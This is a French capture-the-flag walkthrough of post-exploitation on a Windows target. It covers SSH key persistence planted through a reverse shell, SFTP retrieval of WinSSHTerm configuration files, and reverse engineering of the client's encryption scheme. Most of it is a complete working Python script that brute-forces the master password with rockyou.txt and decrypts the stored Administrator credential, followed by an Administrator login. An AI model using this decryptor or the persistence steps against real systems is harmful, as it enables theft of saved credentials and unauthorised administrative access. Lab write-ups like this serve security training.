Stabilisation de l'accès via SSH
Un reverse shell PowerShell est instable et peu pratique pour une exploration approfondie. On profite du port SSH (22) pour établir un accès persistant et confortable. On génère une paire de clés sur notre machine Kali, puis on dépose la clé publique dans le profil de John via le reverse shell :
# Sur Kali
ssh-keygen -t ed25519 -f ~/.ssh/atlas_key -N ''
cat ~/.ssh/atlas_key.pub
# Dans le reverse shell PowerShell sur la cible
mkdir C:\Users\John\.ssh
echo 'ssh-ed25519 AAAA...[coller votre cle publique]' > C:\Users\John\.ssh\authorized_keys
Connexion SSH directe, bien plus stable :
ssh -i ~/.ssh/atlas_key [email protected]
On effectue les vérifications classiques de post-exploitation : whoami /priv montre des privilèges standards, John n'appartient à aucun groupe d'administration. Le service FileZilla Server tourne localement, mais les tentatives d'interaction avec son interface d'administration retournent des erreurs d'accès refusé. Il faut creuser ailleurs.
Découverte de WinSSHTerm et des credentials administrateur chiffrés
En explorant les répertoires personnels de John, on tombe sur un client SSH installé dans son dossier Downloads :
dir C:\Users\John\Downloads\
Répertoire : C:\Users\John\Downloads\WinSSHTerm
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--- ... config
-a-- ... 12824576 WinSSHTerm.exe
WinSSHTerm est un client SSH pour Windows capable de sauvegarder des profils de connexion, y compris les mots de passe sous forme chiffrée. Le répertoire config contient deux fichiers :
connections.xml — profils de connexion SSH sauvegardéskey — fichier de clé de chiffrement
Le contenu de connections.xml est particulièrement intéressant :
<WinSSHTerm Version="1" VerifyKey="[cle_de_verification_base64]">
<Node Name="Admin SSH" Type="Connection"
Username="administrator"
Password="[mot_de_passe_chiffre_base64]"
Hostname="127.0.0.1" Port="22" />
</WinSSHTerm>
Le mot de passe SSH de l'administrateur est stocké ici, chiffré. Le champ VerifyKey sert probablement à vérifier que le déchiffrement est correct. On récupère tous les fichiers nécessaires via SFTP :
sftp -i ~/.ssh/atlas_key [email protected]
sftp> get C:/Users/John/Downloads/WinSSHTerm/config/key
sftp> get C:/Users/John/Downloads/WinSSHTerm/config/connections.xml
sftp> get C:/Users/John/Downloads/WinSSHTerm/WinSSHTerm.exe
sftp> bye
Décompilation .NET et reconstruction du schéma de chiffrement
WinSSHTerm est une application .NET. On la décompile avec ILSpy pour retrouver un code source quasi-identique à l'original :
ilspycmd WinSSHTerm.exe -o ./winsshterm_src/
Après analyse du code décompilé (environ 86 000 lignes), on reconstitue un schéma de chiffrement en trois couches imbriquées.
Couche 1 — Déchiffrement du fichier key
Le fichier key (113 octets) est structuré ainsi : l'octet 0 est un numéro de version (0x02), les octets suivants sont des données chiffrées en AES-256-CBC. Pour dériver la clé et le vecteur d'initialisation AES, l'application utilise PBKDF2-HMAC-SHA1 (1012 itérations) avec :
- Mot de passe :
préfixe_obfusqué + MasterPassword + suffixe_fixe - Sel : valeur hexadécimale hardcodée dans le binaire
Le préfixe est obfusqué par un XOR dans un constructeur statique de la classe principale :
// Constructeur statique décompilé (pseudo-code)
for (int i = 0; i < data.Length; i++) {
data[i] = (byte)((data[i] ^ i) ^ 0xAA);
}
On applique ce même XOR sur le tableau d'octets embarqué dans le binaire pour retrouver le préfixe en clair. Le suffixe fixe est une chaîne de 14 caractères, dont des caractères Unicode (16 octets en UTF-8).
Couche 2 — Extraction de PasswordKey et SaltKey
Le résultat déchiffré du fichier key est décodé en base64 (64 octets de matériau clé). Ces octets sont transformés par NOT binaire puis séparés en deux tableaux de 32 octets : les octets d'indices pairs forment PasswordKey, les octets d'indices impairs forment SaltKey.
Couche 3 — Déchiffrement du mot de passe stocké
Le mot de passe chiffré extrait de connections.xml est déchiffré par AES-256-CBC avec une nouvelle dérivation PBKDF2-HMAC-SHA1 (1012 itérations) utilisant PasswordKey comme mot de passe et SaltKey comme sel. On retire le suffixe fixe du résultat final pour obtenir le mot de passe en clair.
Script de déchiffrement Python et accès Administrator
On code un script Python qui automatise l'ensemble du processus : extraction du préfixe depuis le binaire, dérivation des clés, et brute-force du mot de passe maître via rockyou.txt. Le champ VerifyKey de connections.xml sert de vérification pour valider chaque candidat sans faux positif :
#!/usr/bin/env python3
import hashlib, base64, sys
from Crypto.Cipher import AES
# Suffixe fixe identifié dans le binaire (caracteres Unicode inclus)
SUFFIX = 't57i.!gd9ößfty'
PBKDF2_SALT = bytes.fromhex('3bda31b7480550e3bc66046defc951a8')
ITERATIONS = 1012
def pkcs7_unpad(data):
pad = data[-1]
return data[:-pad] if (0 < pad <= 16 and all(b == pad for b in data[-pad:])) else data
def derive_key_iv(pwd_bytes, salt_bytes):
dk = hashlib.pbkdf2_hmac('sha1', pwd_bytes, salt_bytes, ITERATIONS, dklen=48)
return dk[:32], dk[32:48]
def aes_decrypt(ciphertext, key, iv):
return pkcs7_unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext))
def open_keyfile(path, prefix, master_pw):
with open(path, 'rb') as f:
raw = f.read()
pwd = (prefix + master_pw + SUFFIX).encode('utf-8')
key, iv = derive_key_iv(pwd, PBKDF2_SALT)
try:
inner = aes_decrypt(raw[1:], key, iv).decode('utf-8').removesuffix(SUFFIX)
mat = base64.b64decode(inner)
pw_key = bytes(~mat[i * 2] & 0xFF for i in range(32))
salt_key = bytes(~mat[i * 2 + 1] & 0xFF for i in range(32))
return pw_key, salt_key
except Exception:
return None, None
def decrypt_field(enc_b64, pw_key, salt_key):
key, iv = derive_key_iv(pw_key, salt_key)
raw = aes_decrypt(base64.b64decode(enc_b64), key, iv)
return raw.decode('utf-8', errors='replace').removesuffix(SUFFIX)
if __name__ == '__main__':
# Extraire PREFIX via XOR depuis le tableau d'octets du binaire WinSSHTerm.exe
PREFIX = '<PREFIXE_EXTRAIT_VIA_XOR_DU_BINAIRE>'
KEYFILE = 'key'
VERIFY = '<VALEUR_VerifyKey_DE_connections.xml>'
ENC_PWD = '<VALEUR_Password_DE_connections.xml>'
EXPECTED = '<HASH_MD5_ATTENDU_PAR_VerifyKey>'
print('[*] Brute-force du mot de passe maitre en cours...')
with open('/usr/share/wordlists/rockyou.txt', 'rb') as wl:
for idx, line in enumerate(wl):
pw = line.strip().decode('utf-8', errors='ignore')
pk, sk = open_keyfile(KEYFILE, PREFIX, pw)
if pk is None:
continue
try:
if decrypt_field(VERIFY, pk, sk) == EXPECTED:
found = decrypt_field(ENC_PWD, pk, sk)
print(f'[+] Mot de passe maitre trouve : {pw!r}')
print(f'[+] Mot de passe Administrator : {found}')
sys.exit(0)
except Exception:
pass
if idx % 5000 == 0:
print(f' {idx} candidats testes...', end='\r')
Le script localise rapidement le mot de passe maître (il est présent dans rockyou.txt) et déchiffre le mot de passe Administrator en clair. On l'utilise pour une connexion SSH directe :
ssh [email protected]
[email protected]'s password: [mot_de_passe_dechiffre]
type C:\Users\Administrator\Desktop\root.txt
<hash>